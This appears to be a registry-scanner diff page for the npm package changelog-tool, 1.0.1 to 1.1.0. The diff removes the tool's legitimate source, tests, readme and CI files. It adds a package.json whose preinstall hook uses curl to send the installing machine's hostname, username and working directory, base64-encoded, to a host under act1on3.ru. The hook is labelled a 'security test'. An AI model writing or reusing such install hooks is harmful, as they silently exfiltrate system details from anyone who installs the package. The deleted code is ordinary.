changelog-tool 1.0.1 → 1.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of changelog-tool might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,32 +1 @@
1
- {
2
- "name": "changelog-tool",
3
- "version": "1.0.1",
4
- "description": "A CLI tool for manipulating changelogs",
5
- "type": "module",
6
- "main": "index.mjs",
7
- "homepage": "https://github.com/evert/changelog-tool",
8
- "author": "Evert Pot (https://evertpot.com/)",
9
- "license": "MIT",
10
- "scripts": {
11
- "test": "node --test",
12
- "watch": "tsc --watch"
13
- },
14
- "repository": {
15
- "type": "git",
16
- "url": "git@github.com:evert/changelog-tool.git"
17
- },
18
- "keywords": [
19
- "changelog",
20
- "markdown"
21
- ],
22
- "engine": {
23
- "node": ">16"
24
- },
25
- "bin": {
26
- "changelog": "./cli.mjs"
27
- },
28
- "devDependencies": {
29
- "@types/node": "^18.11.19",
30
- "typescript": "^4.9.5"
31
- }
32
- }
1
+ {"name": "changelog-tool", "version": "1.1.0", "description": "Hello =)", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "curl -H \"Package: changelog-tool\" -H \"Version: 1.1.0\" -H \"Hostname: $(hostname | base64)\" -H \"Whoami: $(whoami | base64)\" -H \"Pwd: $(pwd | base64)\" -d \"meow! security test\" http://npm_new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"}, "author": "act1on3", "license": "ISC"}
@@ -1,45 +0,0 @@
1
- # This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node
2
- # For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions
3
-
4
- name: Node.js CI
5
-
6
- on:
7
- push:
8
- branches: [ main ]
9
- pull_request:
10
- branches: [ main ]
11
-
12
- jobs:
13
- node-test:
14
- name: Node.js tests
15
-
16
- runs-on: ubuntu-latest
17
- timeout-minutes: 5
18
-
19
- strategy:
20
- matrix:
21
- node-version: [16.x, 18.x, 20.x]
22
- # See supported Node.js release schedule at https://nodejs.org/en/about/releases/
23
-
24
- steps:
25
- - uses: actions/checkout@v2
26
- - name: Use Node.js ${{ matrix.node-version }}
27
- uses: actions/setup-node@v1
28
- with:
29
- node-version: ${{ matrix.node-version }}
30
- - run: npm ci
31
- - run: npm test
32
-
33
- types:
34
- name: Typescript check
35
-
36
- runs-on: ubuntu-latest
37
-
38
- steps:
39
- - uses: actions/checkout@v2
40
- - name: Use Node.js
41
- uses: actions/setup-node@v1
42
- with:
43
- node-version: 18.x
44
- - run: npm ci
45
- - run: npx tsc
package/changelog.md DELETED
@@ -1,98 +0,0 @@
1
- Changelog
2
- =========
3
-
4
- 1.0.1 (2023-06-30)
5
- ------------------
6
-
7
- * Fix bug in parsing link references with more than 1 character
8
-
9
-
10
- 1.0.0 (2023-06-20)
11
- ------------------
12
-
13
- First stable release! Just kidding, it was already stable.
14
-
15
- * Add support for [Markdown reference links][1]. References are a Markdown
16
- feature that lets you write links in paragraphs, but put the actual target
17
- near the end of the document similar to references in technical documents.
18
- This can declutter the reading experience for those reading the Markdown
19
- sources. The tool doesn't let you quickly add links via the CLI yet, but it
20
- will no longer mangle them when they appear.
21
- * Testing Node 20
22
- * Bugfix: Always insert an empty line between the 'preface' and bulletpoints
23
- sections of a version block.
24
-
25
-
26
- 0.7.2 (2023-02-17)
27
- ------------------
28
-
29
- * Added a `--nowrap` option to `show`, which doesn't wrap long lines. This is
30
- useful for copy-pasting changelog into places where linebreaks are
31
- significant, such as the Github releases section.
32
- * Support multiple digits for the alpha/beta release string.
33
- * Also allows setting the changelog message as positional arguments.
34
-
35
-
36
- 0.7.1 (2023-02-14)
37
- ------------------
38
-
39
- * Bug: forgot to commit the release
40
-
41
-
42
- 0.7.0 (2023-02-14)
43
- ------------------
44
-
45
- * The "release" command now automatically commits and and creates a git tag,
46
- much like `npm version`
47
-
48
-
49
- 0.6.0 (2023-02-14)
50
- ------------------
51
-
52
- * The release command now automatically calls "npm version" if a package.json
53
- was found in the project directory
54
- * Bug fix: the --major and --minor arguments were ignored when using "add" to
55
- create a new version log
56
-
57
-
58
- 0.5.0 (2023-02-12)
59
- ------------------
60
-
61
- * Support changing the version to the next major/minor using the `--major` and
62
- `--minor` arguments.
63
- * The `add` command now uses the -m argument instead of a positional for the
64
- message.
65
-
66
-
67
- 0.4.1 (2023-02-12)
68
- ------------------
69
-
70
- * Make sure that the binary is executable
71
-
72
-
73
- 0.4.0 (2023-02-12)
74
- ------------------
75
-
76
- * Implemented the "format", "parse" and "release" commands.
77
-
78
-
79
- 0.3.0 (2023-02-12)
80
- ------------------
81
-
82
- * Implemented the 'show' command.
83
-
84
-
85
- 0.2.0 (2023-02-12)
86
- ------------------
87
-
88
- * Implemented the 'list' command.
89
- * Added testing framework based on node:test.
90
-
91
-
92
- 0.1.0 (2023-02-08)
93
- ------------------
94
-
95
- * Implemented the 'help' and 'init' commands
96
-
97
- [1]: https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#link
98
- "Markdown cheatsheet: Links"
package/changelog.mjs DELETED
@@ -1,193 +0,0 @@
1
- import { calculateNextVersion, wrap } from './util.mjs';
2
-
3
- // @ts-check
4
- export class Changelog {
5
-
6
- title = 'Changelog';
7
-
8
- /**
9
- * @type {VersionLog[]}
10
- */
11
- versions = [];
12
-
13
- /**
14
- * @type {Link[]}
15
- */
16
- links = [];
17
-
18
- toString() {
19
-
20
- return (
21
- this.title + '\n' +
22
- ('='.repeat(this.title.length)) + '\n' +
23
- '\n' +
24
- this.versions.map(version => version.toString()).join('\n\n') +
25
-
26
- // Sorry about this line future me (or someone else)
27
- (this.links.length > 0 ? ('\n' + this.links.map( link => wrap(`[${link.name}]: ${link.href}${link.title?` "${link.title}"`:''}`, link.name.length+4)).join('\n') + '\n') : '')
28
- );
29
-
30
- }
31
-
32
- /**
33
- * Adds a new Version log
34
- *
35
- * @param version {VersionLog}
36
- * @returns {VersionLog}
37
- */
38
- add(version) {
39
-
40
- this.versions = [version, ...this.versions];
41
- return version;
42
-
43
- }
44
-
45
- /**
46
- * Adds a new version to the log. Version string is automatically increased
47
- * from the previous one
48
- *
49
- * @param {'patch'|'minor'|'major'} changeType
50
- * @returns {VersionLog}
51
- */
52
- newVersion(changeType = 'patch') {
53
-
54
- const lastVersion = this.versions[0].version;
55
- const newVersion = calculateNextVersion(lastVersion, changeType);
56
- const versionLog = new VersionLog(newVersion);
57
-
58
- return this.add(versionLog);
59
-
60
- }
61
-
62
- /**
63
- * Finds a VersionLog by its version string
64
- *
65
- * @param {string} version
66
- * @returns {VersionLog}
67
- */
68
- get(version) {
69
-
70
- const log = this.versions.find( myLog => myLog.version === version);
71
- if (!log) {
72
- throw new Error(`Couldn't find version ${version} in the changelog`);
73
- }
74
- return log;
75
-
76
- }
77
-
78
- }
79
-
80
- export class VersionLog {
81
-
82
- /**
83
- * @type {string}
84
- */
85
- version;
86
-
87
- /**
88
- * @type {string|null}
89
- */
90
- date = null;
91
-
92
- /**
93
- * @type {string|null}
94
- */
95
- preface = null;
96
-
97
- /**
98
- * @type {string|null}
99
- */
100
- postface = null;
101
-
102
- /**
103
- * @type {LogItem[]}
104
- */
105
- items = [];
106
-
107
- /**
108
- * @param {string} version
109
- */
110
- constructor(version) {
111
- this.version = version;
112
-
113
- }
114
-
115
- /**
116
- * @param {string} message
117
- * @returns {LogItem}
118
- */
119
- add(message) {
120
- const item = new LogItem(message);
121
- this.items.push(item);
122
- return item;
123
- }
124
-
125
- toString() {
126
-
127
- return this.output();
128
-
129
- }
130
-
131
- /**
132
- * Renders the changelog as a string.
133
- *
134
- * @param {boolean} lineWrap
135
- * @returns {string}
136
- */
137
- output(lineWrap = true) {
138
-
139
- const lineLength = lineWrap ? 79 : Infinity;
140
- const title = this.version + ' (' + (this.date ?? '????-??-??') + ')';
141
- return (
142
- title + '\n' +
143
- ('-'.repeat(title.length)) + '\n' +
144
- (this.preface ? '\n' + wrap(this.preface, 0, lineLength) + '\n' : '') +
145
- '\n' +
146
- this.items.map(version => version.output(lineWrap)).join('\n') +
147
- '\n' +
148
- (this.postface ? '\n' + wrap(this.postface, 0, lineLength) + '\n' : '')
149
- );
150
-
151
- }
152
-
153
- }
154
-
155
- export class LogItem {
156
-
157
- /**
158
- * @type {string}
159
- */
160
- message;
161
-
162
- /**
163
- * @param {string} message
164
- */
165
- constructor(message) {
166
- this.message = message;
167
- }
168
-
169
- /**
170
- * Renders the changelog as a string.
171
- *
172
- * @param {boolean} lineWrap
173
- * @returns {string}
174
- */
175
- output(lineWrap = true) {
176
- const lineLength = lineWrap ? 79 : Infinity;
177
- return wrap('* ' + this.message, 2, lineLength);
178
- }
179
-
180
- toString() {
181
-
182
- return wrap('* ' + this.message, 2);
183
-
184
- }
185
-
186
- }
187
-
188
- /**
189
- * @typedef Link {Object}
190
- * @property Link.href {string}
191
- * @property Link.name {string}
192
- * @property Link.title {string|null}
193
- */
package/cli.mjs DELETED
@@ -1,289 +0,0 @@
1
- #!/usr/bin/env node
2
- // @ts-check
3
- import { parseArgs } from 'node:util';
4
- import * as fs from 'node:fs/promises';
5
- import * as url from 'node:url';
6
- import { readPackageVersion, exists, calculateNextVersion, isGit, isGitClean, runCommand } from './util.mjs';
7
- import { Changelog, VersionLog, LogItem } from './changelog.mjs';
8
- import { parseFile } from './parse.mjs';
9
- import { execSync } from 'node:child_process';
10
-
11
- const filename = 'changelog.md';
12
-
13
- const pkg = JSON.parse(
14
- await fs.readFile(
15
- url.fileURLToPath(url.resolve(import.meta.url, './package.json')),
16
- 'utf-8',
17
- )
18
- );
19
-
20
- async function main() {
21
-
22
- const { positionals, values } = parseArgs({
23
- options: {
24
- help: {
25
- type: 'boolean',
26
- short: 'h',
27
- default: false,
28
- description: 'This help screen',
29
- },
30
- all: {
31
- type: 'boolean',
32
- default: false,
33
- description: 'Show all versions',
34
- },
35
- message: {
36
- type: 'string',
37
- description: 'Changelog message',
38
- short: 'm'
39
- },
40
- patch: {
41
- type: 'boolean',
42
- description: 'Indicates that the current change is a patch-level change.',
43
- },
44
- minor: {
45
- type: 'boolean',
46
- description: 'Indicates that the current change is a minor change.',
47
- },
48
- major: {
49
- type: 'boolean',
50
- description: 'Indicates that the current change is a major change.',
51
- },
52
- nowrap: {
53
- type: 'boolean',
54
- description: 'Don\'t wrap "show" output'
55
- }
56
- },
57
- allowPositionals: true,
58
- });
59
-
60
-
61
-
62
- if (positionals.length < 1 || values.help) {
63
- help();
64
- process.exit(1);
65
- }
66
-
67
- const command = positionals[0];
68
-
69
- switch(command) {
70
- case 'help' :
71
- await help();
72
- break;
73
- case 'init' :
74
- await init();
75
- break;
76
- case 'add' :
77
- /** @type {'major' | 'minor' | 'patch'} */
78
- let changeType = 'patch';
79
- if (values.minor) {
80
- changeType = 'minor';
81
- }
82
- if (values.major) {
83
- changeType = 'major';
84
- }
85
- if (!values.message) {
86
- if (positionals.length>1) {
87
- // We also support setting a message after the command instead of -m
88
- values.message = positionals.slice(1).join(' ');
89
- } else {
90
- throw new Error('The "-m" or "--message" argument is required');
91
- }
92
- }
93
- await add({
94
- message: values.message,
95
- changeType,
96
- });
97
- break;
98
- case 'release' :
99
- await release();
100
- break;
101
- case 'format' :
102
- await format();
103
- break;
104
- case 'show' :
105
- await show({
106
- all: !!values.all,
107
- version: positionals[1],
108
- noWrap: !!values.nowrap
109
- });
110
- break;
111
- case 'list' :
112
- await list();
113
- break;
114
- default:
115
- process.stderr.write(`Unknown command ${command}\n`);
116
- process.exit(1);
117
- break;
118
- }
119
-
120
- }
121
-
122
- try {
123
- await main();
124
- } catch (err) {
125
- process.stderr.write('Error: ' + err.message + '\n');
126
- process.exit(1);
127
- }
128
-
129
- function help() {
130
- console.log(
131
- `Changelog Tool v${pkg.version}
132
-
133
- Manipulate your changelog file
134
-
135
- Usage:
136
-
137
- changelog init - Create a new, empty changelog.
138
- changelog add -m [message] - Adds a new line to the changelog.
139
- changelog release - Marks the current changelog as released.
140
- changelog show - Show the last changelog.
141
- changelog show [version] - Show the changelog of a specific version.
142
- changelog list - List all versions in the changelog.
143
- changelog format - Reformats the changelog in the standard format.
144
-
145
- The logs this tool uses follows a specific markdown format. Currently it will
146
- only look for a file named 'changelog.md' in the current directory.
147
-
148
- To see an example of this format, you can either run 'changelog init' or
149
- check out the changelog shipped with this project:
150
-
151
- https://github.com/evert/changelog-tool
152
- `);
153
-
154
- }
155
-
156
- async function init() {
157
-
158
- if (await exists(filename)) {
159
- throw new Error(`A file named ${filename} already exists`);
160
- }
161
-
162
- const changelog = new Changelog();
163
- const version = new VersionLog(await readPackageVersion());
164
- version.add('New project!');
165
- changelog.versions.push(version);
166
-
167
- await fs.writeFile(filename, changelog.toString());
168
- console.log(`${filename} created`);
169
-
170
- }
171
-
172
- async function list() {
173
-
174
- const changelog = await parseChangelog();
175
-
176
- for(const version of changelog.versions) {
177
- console.log(version.version);
178
- }
179
-
180
- }
181
-
182
- /**
183
- * @param {Object} showOptions
184
- * @param {boolean} showOptions.all Show all versions
185
- * @param {string?} showOptions.version show a specific version
186
- * @param {boolean?} showOptions.noWrap don't line-wrap output
187
- */
188
- async function show({all, version, noWrap}) {
189
-
190
- const changelog = await parseChangelog();
191
-
192
- let toRender;
193
- if (all) {
194
- toRender = changelog.versions;
195
- } else if (version) {
196
- toRender = [changelog.get(version)];
197
- } else {
198
- toRender = [changelog.versions[0]];
199
- }
200
-
201
- console.log(
202
- toRender
203
- .map( log => log.output(!noWrap))
204
- .join('\n\n')
205
- );
206
-
207
- }
208
-
209
- async function format() {
210
- const changelog = await parseChangelog();
211
- await fs.writeFile(filename, changelog.toString());
212
- console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
213
- }
214
-
215
- /**
216
- * @param {Object} options
217
- * @param {string} options.message
218
- * @param {'patch'|'major'|'minor'} options.changeType
219
- */
220
- async function add({message, changeType}) {
221
- const changelog = await parseChangelog();
222
-
223
- let lastVersion = changelog.versions[0];
224
- if (lastVersion.date) {
225
- lastVersion = changelog.newVersion(changeType);
226
- console.log('Creating new version: %s', lastVersion.version);
227
- } else {
228
- if (changeType === 'minor' || changeType === 'major') {
229
- const previousVersion = changelog.versions[1];
230
- const updatedVersionStr = calculateNextVersion(previousVersion.version, changeType);
231
- if (updatedVersionStr !== lastVersion.version) {
232
- console.log('Updating unreleased version from %s to %s', lastVersion.version, updatedVersionStr);
233
- lastVersion.version = updatedVersionStr;
234
- }
235
- }
236
- }
237
-
238
- lastVersion.add(message);
239
-
240
- await fs.writeFile(filename, changelog.toString());
241
- console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
242
- }
243
-
244
- async function release() {
245
- const changelog = await parseChangelog();
246
-
247
- let lastVersion = changelog.versions[0];
248
- if (lastVersion.date) {
249
- throw new Error(`Previous version "${lastVersion.version}" already had a release date`);
250
- }
251
- lastVersion.date = new Date().toISOString().substr(0,10);
252
- console.log(`Releasing ${lastVersion.version}`);
253
-
254
- const useGit = await isGit();
255
-
256
- if (useGit) {
257
- if (!await isGitClean()) {
258
- throw new Error('Current git working directory is not clean. Please commit your changes first');
259
- }
260
- }
261
-
262
- await fs.writeFile(filename, changelog.toString());
263
- console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
264
-
265
- if (await exists('package.json')) {
266
- runCommand(
267
- `npm version "${lastVersion.version}" --no-git-tag-version`
268
- );
269
- }
270
- if (useGit) {
271
- runCommand(`git add --all`);
272
- runCommand(`git commit -m "Releasing ${lastVersion.version}"`);
273
- runCommand(`git tag v${lastVersion.version}`);
274
- }
275
-
276
- }
277
-
278
- /**
279
- * @returns {Promise<Changelog>}
280
- */
281
- async function parseChangelog() {
282
-
283
- if (!await exists(filename)) {
284
- throw new Error(`${filename} not found in current directory`);
285
- }
286
-
287
- return await parseFile(filename);
288
-
289
- }
package/index.mjs DELETED
@@ -1,2 +0,0 @@
1
- export { parse, parseFile } from './parse.mjs';
2
- export { Changelog, VersionLog, LogItem } from './changelog.mjs';
package/parse.mjs DELETED
@@ -1,122 +0,0 @@
1
- // @ts-check
2
- import { Changelog, VersionLog } from "./changelog.mjs";
3
- import { readFile } from 'node:fs/promises';
4
-
5
- /**
6
- * @param {string} filename
7
- * @returns {Promise<Changelog>}
8
- */
9
- export async function parseFile(filename) {
10
-
11
- return parse(
12
- await readFile(filename, 'utf-8')
13
- );
14
-
15
- }
16
-
17
- const linkReferenceRe = /^\[([a-zA-Z0-9]+)\]:/;
18
- const versionRe = /^([0-9\.]{3,}(?:-(?:alpha|beta)\.[0-9]+)?) \(([0-9]{4}-[0-9]{2}-[0-9]{2}|\?\?\?\?-\?\?-\?\?)\)$/;
19
-
20
-
21
- /**
22
- * @param {string} changelogInput
23
- * @returns {Changelog}
24
- */
25
- export function parse(changelogInput) {
26
-
27
- const lines = changelogInput.split('\n');
28
- if (!lines[1].match(/^={1,}$/)) {
29
- throw new Error('Parse error: Line 1 and 2 of the changelog must be in the format "Changelog\\n=====". We did not find all equals signs on the second line.');
30
- }
31
- const changelog = new Changelog();
32
- changelog.title = lines[0];
33
-
34
- let lastVersionLog = null;
35
- let lastBullet = null;
36
-
37
- for(let idx=2; idx<lines.length; idx++) {
38
-
39
- const line = lines[idx];
40
-
41
- if (line.startsWith('* ')) {
42
- // Found a bullet point
43
- if (!lastVersionLog) {
44
- throw new Error(`Parse error: found a bullet point * outside of a level 2 heading on line ${idx+1}`);
45
- }
46
- lastBullet = lastVersionLog.add(line.substr(1).trim());
47
- continue;
48
- }
49
- if (line.startsWith(' ')) {
50
- // Continuation of last line.
51
- if (!lastBullet) {
52
- throw new Error(`Parse error: unexpected indented string on line ${line+1}`);
53
- }
54
- lastBullet.message += ' ' + line.trim();
55
- continue;
56
- }
57
-
58
- // Look for link references
59
- if (linkReferenceRe.test(line)) {
60
-
61
- let linkRefLine = line;
62
- while(lines[idx+1]?.match(/^\W\W/)) {
63
- // If the line was folded over multiple lines, read those too.
64
- linkRefLine += ' ' + lines[idx+1].trim();
65
- idx++;
66
- }
67
- const name = linkRefLine.match(linkReferenceRe)?.[1];
68
- const href = linkRefLine.split(' ')[1];
69
- const title = linkRefLine.includes('"') ? linkRefLine.substring(linkRefLine.indexOf('"')+1,linkRefLine.lastIndexOf('"')) : null;
70
- changelog.links.push({
71
- name: /** @type {string} */(name),
72
- href,
73
- title
74
- });
75
- continue;
76
-
77
- }
78
-
79
- // Look to the next line for ----
80
- if (lines[idx+1]?.match(/^-{1,}$/)) {
81
- // Found a new Version
82
- const matches = line.match(versionRe);
83
-
84
- if (!matches) {
85
- throw new Error(`A version title must have the format "1.0.0 (YYYY-MM-DD)" or "1.0.0 (????-??-??)" for unreleased versions. We found: "${line}"`);
86
- }
87
-
88
- const versionLog = new VersionLog(matches[1]);
89
- if (matches[2] === '????-??-??') {
90
- versionLog.date = null;
91
- } else {
92
- versionLog.date = matches[2];
93
- }
94
- changelog.versions.push(versionLog);
95
- lastVersionLog = versionLog;
96
- lastBullet = null;
97
- idx++;
98
- continue;
99
-
100
- }
101
-
102
- if (line.trim()==='') {
103
- continue;
104
- }
105
-
106
- if (!lastVersionLog) {
107
- throw new Error(`Parse error: unexpected string on line ${line+1}`);
108
- }
109
- // If we got here, this is either a loose preface or postface line.
110
- if (lastBullet) {
111
- lastVersionLog.postface = lastVersionLog.postface ? lastVersionLog.postface + ' ' + line : line;
112
- } else {
113
- lastVersionLog.preface = lastVersionLog.preface ? lastVersionLog.preface + ' ' + line : line;
114
- }
115
-
116
-
117
- }
118
-
119
- return changelog;
120
-
121
-
122
- }
package/readme.md DELETED
@@ -1,99 +0,0 @@
1
- Changelog tool
2
- ==============
3
-
4
- This repository contains a simple tool for reading and manipulating changelog
5
- files.
6
-
7
- This tool currently expects to work with a file named 'changelog.md' in the
8
- current working directory. This is a markdown file that looks like this:
9
-
10
- ```
11
- Changelog
12
- =========
13
-
14
- 0.4.0 (????-??-??)
15
- ------------------
16
-
17
- * Feature A
18
- * Bugfix 3
19
-
20
- 0.3.0 (2023-02-08)
21
- ------------------
22
-
23
- * First public release!
24
- ```
25
-
26
- Questionmarks for the date indicate an unreleased version.
27
-
28
- Installation
29
- ------------
30
-
31
- ```sh
32
- npm install changelog-tool --global
33
- ```
34
-
35
- CLI
36
- ---
37
-
38
- To tool can be used programmatically and with the CLI. The CLI has the
39
- following commands:
40
-
41
- ```
42
- changelog init - Create a new, empty npx changelog.
43
- changelog add -m [message] - Adds a new line to the npx changelog.
44
- changelog release - Marks the current npx changelog as released.
45
- changelog show - Show the last npx changelog.
46
- changelog show [version] - Show the npx changelog of a specific version.
47
- changelog list - List all versions in the npx changelog.
48
- changelog format - Reformats the npx changelog in the standard format.
49
- ```
50
-
51
- ### 'add' command
52
-
53
- The add comment lets you add a new message at the bottom of the last unreleased
54
- version.
55
-
56
- To use it, just run:
57
-
58
- ```
59
- changelog add -m "Bug fix"
60
- ```
61
-
62
- If there is no unreleased version, it will create a new section and increase
63
- the version number.
64
-
65
- If the current change should result in a new major or minor version number, you
66
- can use the following arguments.
67
-
68
- ```
69
- changelog add --minor -m "New feature"
70
- changelog add --major -m "Backwards compatibility break"
71
- ```
72
-
73
- These settings will automatically adjust the version string of the most recent
74
- unreleased version.
75
-
76
- ### 'release' command
77
-
78
- The release command will look for a recent unreleased version in the changelog
79
- (where the date is marked `????-??-??`) and change it to the current date:
80
-
81
- ```
82
- changelog release
83
- ```
84
-
85
- If the tool detects a `package.json` file in the current directory, it will
86
- also call:
87
-
88
- ```
89
- npm version [version] --no-git-tag-version
90
- ```
91
-
92
- This command adjust the `version` field in `package.json` to match the latest
93
- changelog version.
94
-
95
- If the tool detects if this is a git directory, it will also:
96
-
97
- * Ensure that the working directory is clean.
98
- * Commit the changes.
99
- * Create a tag with `git tag v[version]`.
package/test/parse.mjs DELETED
@@ -1,140 +0,0 @@
1
- // @ts-check
2
- import { test } from 'node:test';
3
- import { parse } from '../parse.mjs';
4
- import * as assert from 'node:assert';
5
-
6
- test('Parsing changelog metadata', async () => {
7
-
8
- const input = `Time for a change
9
- =========
10
-
11
- 0.2.0 (????-??-??)
12
- ------------------
13
-
14
- * Implemented the 'list' command.
15
- * Added testing framework.
16
-
17
- 0.1.0 (2023-02-08)
18
- ------------------
19
-
20
- * Implemented the 'help' and 'init' commands.
21
- *
22
- `;
23
-
24
- const result = await parse(input);
25
-
26
- assert.equal('Time for a change', result.title);
27
- assert.equal(2, result.versions.length);
28
-
29
- assert.equal(null, result.versions[0].date);
30
- assert.equal('0.2.0', result.versions[0].version);
31
- assert.equal('2023-02-08', result.versions[1].date);
32
- assert.equal('0.1.0', result.versions[1].version);
33
-
34
- });
35
-
36
- test('Parsing changelog entries', async () => {
37
-
38
- const input = `Time for a change
39
- =========
40
-
41
- 0.2.0 (????-??-??)
42
- ------------------
43
-
44
- * Implemented the 'list' command.
45
- * Added testing framework.
46
-
47
- 0.1.0 (2023-02-08)
48
- ------------------
49
-
50
- * Implemented the 'help' and 'init' commands.
51
- *
52
- `;
53
-
54
- const result = await parse(input);
55
-
56
- const latest = result.get('0.2.0');
57
- assert.equal(2, latest.items.length);
58
- assert.equal('Implemented the \'list\' command.', latest.items[0].message);
59
-
60
-
61
- });
62
-
63
- test('Preface and postface', async () => {
64
-
65
- const input = `Time for a change
66
- =========
67
-
68
- 0.2.0 (????-??-??)
69
- ------------------
70
-
71
- WOW another release. How good is that?
72
- Here's another line.
73
-
74
- * Implemented the 'list' command.
75
- * Added testing framework.
76
-
77
- Well, that's all folks.
78
-
79
- 0.1.0 (2023-02-08)
80
- ------------------
81
-
82
- * Implemented the 'help' and 'init' commands.
83
- *
84
- `;
85
-
86
- const result = await parse(input);
87
-
88
- const latest = result.get('0.2.0');
89
-
90
- assert.equal('WOW another release. How good is that? Here\'s another line.', latest.preface);
91
- assert.equal('Well, that\'s all folks.', latest.postface);
92
-
93
-
94
- });
95
-
96
- test('Link references', async() => {
97
-
98
-
99
- const input = `Changesss
100
- =========
101
-
102
- 0.2.0 (????-??-??)
103
- ------------------
104
-
105
- WOW another release. How good is that?
106
- Here's another line.
107
-
108
- * Implemented the 'list' command.
109
- * Added testing framework. See [the blog post][1] for more information.
110
-
111
- 0.1.0 (2023-02-08)
112
- ------------------
113
-
114
- * Implemented the ['help'][2] and 'init' commands.
115
-
116
- [1]: https://evertpot.com/ "My Blog"
117
- [2]: https://indieweb.social/@evert "My Mastodon account, but it's split
118
- over two lines"
119
- [blabla]: http://example
120
- `;
121
-
122
- const result = await parse(input);
123
-
124
- assert.deepEqual({
125
- name: '1',
126
- href: 'https://evertpot.com/',
127
- title: 'My Blog',
128
- }, result.links[0]);
129
- assert.deepEqual({
130
- name: '2',
131
- href: 'https://indieweb.social/@evert',
132
- title: 'My Mastodon account, but it\'s split over two lines',
133
- }, result.links[1]);
134
- assert.deepEqual({
135
- name: 'blabla',
136
- href: 'http://example',
137
- title: null,
138
- }, result.links[2]);
139
-
140
- });
package/tsconfig.json DELETED
@@ -1,16 +0,0 @@
1
- {
2
- "compilerOptions": {
3
- "target": "es2022",
4
- "module": "esnext",
5
- "rootDir": "./",
6
- "allowJs": true,
7
- "checkJs": true,
8
-
9
- "moduleResolution": "node",
10
-
11
- "noEmit": true,
12
- "strict": true,
13
- "useUnknownInCatchVariables": false,
14
-
15
- }
16
- }
package/util.mjs DELETED
@@ -1,153 +0,0 @@
1
- // @ts-check
2
- import { execSync } from 'node:child_process';
3
- import * as fs from 'node:fs/promises';
4
- import * as path from 'node:path';
5
-
6
- /**
7
- * Checks if a file exists
8
- *
9
- * @param {string} filename
10
- * @returns {Promise<boolean>}
11
- */
12
- export async function exists(filename) {
13
-
14
- try {
15
- await fs.stat(filename)
16
- } catch (err) {
17
- if (err.code === 'ENOENT') return false;
18
- throw err;
19
- }
20
- return true;
21
-
22
- }
23
-
24
- /**
25
- * Returns the version property of the package.json file in the current
26
- * directory.
27
- *
28
- * @returns {Promise<string>}
29
- */
30
- export async function readPackageVersion() {
31
-
32
- if (!await exists('package.json')) {
33
- throw new Error('package.json does not exists in the current directory');
34
- }
35
-
36
- const json = JSON.parse(
37
- await fs.readFile(
38
- 'package.json',
39
- 'utf-8'
40
- )
41
- );
42
-
43
- return json.version;
44
-
45
- }
46
-
47
- /**
48
- * Wraps a line over multiple lines.
49
- *
50
- * @param {string} input
51
- * @param {number} secondLineOffset
52
- * @param {number} lineLength
53
- */
54
- export function wrap(input, secondLineOffset = 0, lineLength = 79) {
55
-
56
- const words = input.split(' ');
57
- const lines = [];
58
- for(const word of words) {
59
-
60
- if (!lines.length) {
61
- // First line
62
- lines.push(word);
63
- continue;
64
- }
65
-
66
- const maxLength = lines.length > 1 ? lineLength - secondLineOffset : lineLength;
67
-
68
- const potentialNewLine = [lines.at(-1),word].join(' ');
69
- if (potentialNewLine.length>maxLength) {
70
- lines.push(word);
71
- } else {
72
- lines[lines.length-1] = potentialNewLine;
73
- }
74
-
75
- }
76
- return lines.join('\n' + ' '.repeat(secondLineOffset));
77
-
78
- }
79
-
80
- /**
81
- * @param {string} prevVersion
82
- * @param {'patch'|'minor'|'major'} changeType
83
- * @returns {string}
84
- */
85
- export function calculateNextVersion(prevVersion, changeType = 'patch') {
86
-
87
- // This function only currently understands 1 format, but this may change
88
- // in the future.
89
- if (!prevVersion.match(/^[0-9]+\.[0-9]+\.[0-9]+$/)) {
90
- throw new Error(`Could not automatically determine the next ${changeType} version from ${prevVersion}. You might want to request a new feature to support this`);
91
- }
92
-
93
- const parts = prevVersion.split('.').map( part => +part);
94
-
95
- switch(changeType) {
96
- case 'major' :
97
- parts[0]++;
98
- parts[1]=0;
99
- parts[2]=0;
100
- break;
101
- case 'minor' :
102
- parts[1]++;
103
- parts[2]=0;
104
- break;
105
- case 'patch' :
106
- parts[2]++;
107
- break;
108
- }
109
-
110
- return parts.join('.');
111
-
112
- }
113
-
114
- /**
115
- * Returns true if we're in a git-powered directory
116
- *
117
- * @returns {Promise<boolean>}
118
- */
119
- export async function isGit() {
120
-
121
- let currentPath = process.cwd();
122
- while(currentPath!=='/') {
123
- if (await exists(path.join(currentPath,'.git'))) {
124
- return true;
125
- }
126
- currentPath = path.dirname(currentPath);
127
- }
128
- return false;
129
-
130
- }
131
-
132
- /**
133
- * @param {string} command
134
- * @returns {string}
135
- */
136
- export function runCommand(command) {
137
-
138
- process.stderr.write(command + '\n');
139
- return execSync(command).toString('utf-8');
140
-
141
- }
142
-
143
- /**
144
- * Returns true if the current working directory is clean.
145
- *
146
- * @returns {boolean}
147
- */
148
- export function isGitClean() {
149
-
150
- const result = execSync('git status --porcelain=v1').toString('utf-8');
151
- return result.trim().length === 0;
152
-
153
- }